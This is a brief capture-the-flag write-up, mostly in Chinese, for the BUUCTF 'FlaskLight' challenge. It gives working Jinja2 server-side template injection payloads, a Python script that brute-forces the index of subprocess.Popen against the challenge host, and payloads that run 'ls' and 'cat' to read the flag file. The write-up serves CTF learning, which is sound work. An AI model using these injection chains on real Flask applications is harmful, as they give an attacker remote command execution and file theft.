BUUCTF：[CSCCTF 2019 Qual]FlaskLight

题目地址：https://buuoj.cn/challenges#[CSCCTF%202019%20Qual]FlaskLight

?search={{7*7}}
#通过回显判断SSTI

?search={{''.__class__.__mro__[2].__subclasses__()}}
#爆出所有类

编写脚本查找可利用的类
利用subprocess.Popen执行命令

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
        # print(res)
        # print(r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)
        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("indexo of subprocess.Popen:" + str(index))

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}